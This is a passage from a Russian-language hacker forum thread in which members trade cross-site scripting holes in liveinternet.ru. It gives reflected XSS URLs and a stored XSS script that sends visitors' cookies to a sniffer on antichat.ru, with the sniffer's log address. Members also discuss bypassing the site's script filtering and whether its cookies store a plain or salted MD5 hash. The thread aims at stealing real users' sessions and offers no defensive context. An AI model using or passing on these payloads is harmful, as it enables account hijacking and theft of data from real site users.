 |
|
28.12.2006, 19:55
|
|
Участник форума
Регистрация: 10.10.2006
Сообщений: 127
С нами:
10307370
Репутация:
31
|
|
Не совсем понял за что "-", но больше вопросов подобного плана задавать не буду. Единственно хотелось бы узнать, что я нарушил.
во-первых посмотри название темы, то что ты написал не относится сюда.Есть вопрос, ищи, если такая тема есть, прочти, если нету, создай в соответствующем разделе и спроси.Разе непонятно почему "-"?Тоже самое относится и другому товарищу.Еще вопросы?С вами был m0nzt3r 
Последний раз редактировалось m0nzt3r; 28.12.2006 в 20:09..
|
|
|
13.01.2007, 22:22
|
|
Banned
Регистрация: 10.06.2006
Сообщений: 938
С нами:
10483586
Репутация:
1223
|
|
если не ошибаюсь пасивный xxs это тот каторый уже прикрыли, так зачем выкладывать его
если не прав объясните что значит пасивный.
пассивная, это когда жертва должна зайти по ссылке, которую ты дашь, чтоб хсс подействовала.Понятно?Мало флейми, устал посты стирать твои.. (m0nzt3r)
Последний раз редактировалось m0nzt3r; 14.01.2007 в 20:03..
|
|
|
|
27.02.2007, 22:03
|
|
Новичок
Регистрация: 17.11.2006
Сообщений: 3
С нами:
10252586
Репутация:
0
|
|
ребят, а дырку, по ходу, уже прикрыли. мне почему-то кажется, что тут нетрудно будет другую найти, тут просто <script> фильтруется. *вышесказанное было написано без моска, ибо я в этом деле не очень разбираюсь =)*.
может кто-нибудь башковитый и рукастый сможет сообразить в чем тут дело? помогите, пожалуйста.
|
|
|
|
27.02.2007, 23:08
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
С нами:
11217866
Репутация:
3812
|
|
Сообщение от *D1VER
http://market.liveinternet.ru/index.php?id=10091&page=1&vendor=0&sort=2&sortorde r=1&pricelo=10%22%3E%3Cscript%3Ealert()%3C/script%3E0
Пассивная ХSS почти там же!
Это другой серв....
__________________
|
|
|
|
27.02.2007, 23:28
|
|
Постоянный
Регистрация: 05.07.2006
Сообщений: 458
С нами:
10447337
Репутация:
807
|
|
2 re-arranged
http://www.liveinternet.ru/member2.php?action=addlist&userlist=buddy&userid=7 29772&userownid=undefined"><script>alert("xss")</script>
пассивная
|
|
|
|
01.03.2007, 00:39
|
|
Новичок
Регистрация: 05.05.2006
Сообщений: 5
С нами:
10535097
Репутация:
0
|
|
Сообщение от InferNo23
Вот нашол активную xss:
когда регимся, вводим в поле "О новом дневнике - в двух словах"
Код:
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
.
потом все кто помотрит ваш профиль отдаст куки...
Примеры:
http://www.liveinternet.ru/users/hello2all/profile/ - тут отдадите куки
http://www.liveinternet.ru/users/nokia1/profile/ - алерт.
А что дальше делать?
Куки отправляются на снифф общий? если да, то я не могу найти его лог =/
Зы: или это уже вообще не катит?
Сообщение от re-arranged
ребят, а дырку, по ходу, уже прикрыли. мне почему-то кажется, что тут нетрудно будет другую найти, тут просто <script> фильтруется. *вышесказанное было написано без моска, ибо я в этом деле не очень разбираюсь =)*.
может кто-нибудь башковитый и рукастый сможет сообразить в чем тут дело? помогите, пожалуйста.
+1 =)
Последний раз редактировалось DeadFire; 01.03.2007 в 00:43..
|
|
|
|
01.03.2007, 06:18
|
|
Участник форума
Регистрация: 05.09.2006
Сообщений: 187
С нами:
10358246
Репутация:
378
|
|
Не прикрыли ничего, http://www.liveinternet.ru/users/nokia1/profile/ алерт есть..
2DeadFire лог теперь на old.antichat.ru
Код:
<script>img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
Log: http://old.antichat.ru/sniff/log.php |
|
|
|
03.03.2007, 15:44
|
|
Новичок
Регистрация: 05.05.2006
Сообщений: 5
С нами:
10535097
Репутация:
0
|
|
Объясните плз для тупых что нужно сделать по шагам.
Зы: там скрипты отсеиваются
Зыы: я создал юзера ( Vasssssia) в поле краткая инфа запихал скрипт, ну собсно и в основную тоже, на сниф вообще ниче не приходит..
приходит, когда просто в дневник пихаешь "картинку", только толку от этого как от быка молока...
Зыыы: за лог спасибо
Последний раз редактировалось DeadFire; 03.03.2007 в 15:53..
|
|
|
|
08.03.2007, 23:02
|
|
Новичок
Регистрация: 17.11.2006
Сообщений: 3
С нами:
10252586
Репутация:
0
|
|
2InferNo23 тысяча чертей, отсеиваются <script> </script>.
|
|
|
|
25.07.2007, 23:59
|
|
Познающий
Регистрация: 08.01.2006
Сообщений: 90
С нами:
10704254
Репутация:
16
|
|
я не любитель создавать темы изза небольших вопросов, поэтому спрошу тут. В куках лиру хранится чистый мд5 или соль?
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
